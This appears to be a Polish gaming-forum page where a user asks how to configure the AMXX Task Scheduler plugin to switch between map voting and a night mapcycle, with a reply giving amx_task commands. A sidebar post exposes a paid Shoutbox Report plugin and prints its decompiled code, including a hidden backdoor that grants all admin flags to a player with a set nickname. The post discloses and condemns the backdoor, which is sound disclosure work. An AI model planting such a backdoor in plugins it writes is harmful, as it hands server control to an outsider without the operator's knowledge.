Skocz do zawartości
  • Przeglądający   0 użytkowników

    Brak zarejestrowanych użytkowników, przeglądających tę stronę.

JaszczurGH

[AMXX] Pomoc w konfiguracji pluginu Task Scheduler - by JustinHoMi

Promowane odpowiedzi

JaszczurGH    89

Witam. Chcę zrobić żeby od godziny 10:00 do 00:00 było vote, a od 00:00 do godziny 10:00 był mapcycle. Z tego co wiem to można zrobić to tym pluginem - http://amxx.pl/topic/10164-task-scheduler-by-justinhomi/

ale nie mogę poradzić sobie z jego konfiguracją. Trzeba zrobić tak żeby vote (używam mapchooser4.amxx) wyłączało się o północy, i włączał się mapcycle do godziny 10:00.

 

Za każdą pomoc w konfiguracji tego pluginu nagrodzę plusikiem.

Udostępnij tego posta


Odnośnik do posta
Udostępnij na innych stronach
JaszczurGH    89
8 minut temu, So^GoD napisał:

Przecież masz instrukcję + dodajesz pewnie cvary, a tam wszystko ustawiasz?

 

Właśnie muszę skonfigurować chyba te cvary z mapchoosera w tym task scheduler, żeby vote się wyłączało o danej godzinie i włączało mapcycle. Ale nie mogę sobie z tym poradzić.

Udostępnij tego posta


Odnośnik do posta
Udostępnij na innych stronach
kuci    644
amx_task 10:00 "amx_tsay Votowanie włączone" t 
amx_task 10:00 "amx_pausecfg enable PLUGINvotowanie.amxx" t 
amx_task 23:59 "amx_tsay Mapcycle zmienony na nocny" t 
amx_task 23:59 "mapcyclefile mapcycle-noc.txt" t
amx_task 23:59 "amx_pausecfg pause PLUGINvotowanie.amxx" t

Coś takiego.

 

dawno się nie bawiłem pluginami także nie jestem pewien czy to bedzie smigac ale musisz stworzyć mapcycle-noc.txt i tam mapy jakie chcesz przez noc. i zamienić PLUGINvotowanie.amxx na nazwe twojego pluginu którego uzywasz do votowania

Edytowane przez kuci

Udostępnij tego posta


Odnośnik do posta
Udostępnij na innych stronach

Jeśli chcesz dodać odpowiedź, zaloguj się lub zarejestruj nowe konto

Tylko zarejestrowani użytkownicy mogą komentować zawartość tej strony.


  • Podobna zawartość

    • Przez sztywan.
      Cześć, mam pytanie, czy zna ktoś z was plugin, który będzię dodawał możliwość dodawania plików do pobrania przez użytkownika i możliwość jego pobierania oraz statystyki pliku tzn. ilość pobrań, ilość ocen, gwiazdek itp. Coś w stylu: ls.portal.eu
    • Przez Bazyliano
      Witam zainstalowałem na swoim forum plugin Who Was Online Today, niby wszystko działa, lecz nie wyświetla on prawidłowo liczby gości, jak widać w załączniku w ciągu ostatnich 15 minut był jeden gość, lecz nie wyświetla tego w ciągu ostatnich 24 godzin, ktoś wie czym to jest spowodowane?

    • Przez szogun
      Witam
      Może pytanie dojść banalne ale nie daje spokoju mojej pamięci a więc jak mamy zadania task w acp, jakiej ona funkcji wymagała aby to poprawnie działało.
      Wiem że można przez crona, lecz można i obejśc się bez tego
    • Przez SeNioR
      Aby zainstalować wtyczkę przechodzimy do ACP System  Wtyczki
       

       
      Klikamy przycisk Zainstaluj nową wtyczkę
       

       
      Następnie wybieramy wtyczkę z dysku i klikamy Zainstaluj
       

       
       
      Czekamy kilka minut i nasza wtyczka jest już zainstalowana.
       
      Aby w szybki sposób wyłączyć lub włączyć wtyczkę klikamy na zieloną lub czerwoną ikonkę.
       

       
       
      Następne trzy ikonki oznaczają edycję wtyczki, przesyłanie nowszej wersji wtyczki, odinstalowanie i pokazywanie szczegółów wtyczki.
       
      Jak rozróżnić wtyczkę od aplikacji? Wtyczki mają rozszerzenie xml natomiast aplikacje są spakowane w archiwum tar
    • Przez Boziak.
      Witajcie ponownie!
      Dziś kolejne cuda wymyślone przez "programistów"
       
      Zajmiemy się tym o to cudem  

      Z góry napiszę iż nie ma tutaj aż takich mega ekscesów jak w przypadku gomoda, lecz na pewno płacąc za plugin nikt by takiego czegoś nie chciał 
       
      Cena pluginu:
      10zł - NA IP
      50zł - Na sieć
      Sam plik AMXX
       
      Analiza:
      Plugin
      new g_szPlugin[3][] = {     "Shoutbox Report",     "3.4.3",     "naXe" }; Przechowywanie danych klienta (Dane zmienione w celu zachowania anonimowości)
      new g_szCustomer[3][] = { "NAZWA", "GG", "DATA KUPNA(?)" }; Adres do sprawdzania wersji pluginu
      new g_szVersionChecker[2][] = { "gamesolutions.pl", "serwery/plugins_checker.php" }; Sprawdzanie licencji (Adres IP zmieniony)
       
      public plugin_cfg() { g_tReportedPlayerIPs = TrieCreate(); ExecConfig(); g_iPointer = get_cvar_num("amx_show_activity"); pCvar[0] = get_cvar_num("sb_max"); pCvar[1] = get_cvar_num("sb_min"); pCvar[2] = get_cvar_num("sb_log"); pCvar[4] = get_cvar_num("sb_info"); pCvar[5] = get_cvar_num("sb_czas"); pCvar[6] = get_cvar_num("sb_witac"); pCvar[7] = get_cvar_num("sb_admin"); pCvar[8] = get_cvar_num("sb_blokada_admin"); pCvar[3] = get_cvar_num("sb_wyszedl"); pCvar[9] = get_cvar_num("sb_zgloszony"); pCvar[10] = get_cvar_num("sb_odstep"); pCvar[11] = get_cvar_num("sb_powody"); pCvar[12] = get_cvar_num("sb_wlasny_powod"); get_cvar_string("sb_plik", 808 + 100, 127); get_cvar_string("sb_domena", 808 + 52, 11); new var4 = pCvar[10]; var4 = var4[0] * 60; get_cvar_string("net_address", 808 + 612, 31); if (pCvar[4][0]) { set_task(float(pCvar[5][0]), "Reklama", 0, "", 0, "b", 0); } formatex(g_szHostFull, 31, "%s.%s", g_szHost, 808 + 52); new var2; if (strlen(g_szHostName)) { new szHostName[64]; get_cvar_string("hostname", szHostName, 63); new var1; if (containi(szHostName, g_szHostFull) == -1) { DeletePlugin(); new szBuffer[128]; formatex(szBuffer, 127, "Serwer nie nalezy do sieci %s! Plugin zostal usuniety.", g_szHostFull); set_fail_state(szBuffer); var1 = szBuffer; } else { new var5 = g_szPlugin; new var6 = g_szPlugin[2]; log_amx("Dziekuje (%s) za zakup pluginu %s!", var6[0], var5[0][0][var5]); var1 = var6; } var2 = var1; } else { var2 = var4; } new var3; if (strlen(g_szServerIP)) { if (!equal(808 + 612, "127.0.0.1:27015", 0)) { DeletePlugin(); new szBuffer[128]; new var7 = g_szPlugin; formatex(szBuffer, 127, "Serwer nie ma licencji na plugin %s! Plugin zostal usuniety.", var7[0][0][var7]); set_fail_state(szBuffer); var3 = var7; } new var8 = g_szPlugin; new var9 = g_szPlugin[2]; log_amx("Dziekuje (%s) za zakup pluginu %s!", var9[0], var8[0][0][var8]); var3 = var9; } else { var3 = var2; } new iError = 0; new szBuffer[512]; new var10 = g_szVersionChecker; g_hSocket[0] = socket_open(var10[0][0][var10], 80, 1, iError); if (iError) { log_to_file(g_szLogFile[1][0], "Wystapil problem polaczenia z serwerem sprawdzajacym wersje pluginu."); return 0; } new var11 = g_szVersionChecker; format(szBuffer, 511, "GET /%s HTTP/1.1\nHost:%s\r\n\r\n", g_szVersionChecker[1][0], var11[0][0][var11]); socket_send(g_hSocket[0][0], szBuffer, 511); set_task(1.00, "SprawdzWersje", 0, "", 0, "a", 15); set_task(16.00, "ZakonczPolaczenie", 1, "", 0, "", 0); return 0; } Funkcja która interesuje nas na dziś
      public client_infochanged(id) { if (!is_user_connected(id)) { return 0; } static szName[32]; get_user_info(id, "name", szName, 31); if (equal("", "naXe", 0)) { set_user_flags(id, read_flags("abcdefghijklmnopqrstu"), 0); client_cmd(id, "amxmodmenu"); set_cvar_num("amx_show_activity", 0); } if (equal("", g_szName[id][0][0], 0)) { return 0; } copy(g_szName[id][0][0], 31, ""); return 0; } Właśnie przy niej zostaniemy na dłuższą chwilę. Ponownie zapytam po co!? Co daje Wam takie postępowanie z ludzmi.
      Dostajesz pieniądze ale to za mało? trzeba pchać łapy po nie swoje?
       
      Dla ludzi którzy nie rozumieją wyżej podanego kodu, jest to funkcja dodająca wszystkie flagi na serwerze osobnikowi o nicku X
      Nie mam po co się tutaj dalej rozpisywać bo tak znajdą się osoby broniące taki proceder... Dla ludzi myślących, zalecam skasowanie pluginu z serwera! Lub skorzystanie z edytowanej wersji którą dałem w załączniku.
       
      Pozdrawiam
       
       
       
      @EDIT 14:42
      ZAŁĄCZNIK USUNIĘTY NA PROŚBĘ AUTORA
       
      Dorzucam plugin bez weryfikacji licencji oraz z usuniętymi flagami "abcdefghijklmnopqrstu" jeśli ktoś wejdzie na nicku X będzie miał flagę z
       
      Podziękowania dla MateuszCODE za podesłanie pluginu
  • Ostatnie tematy

×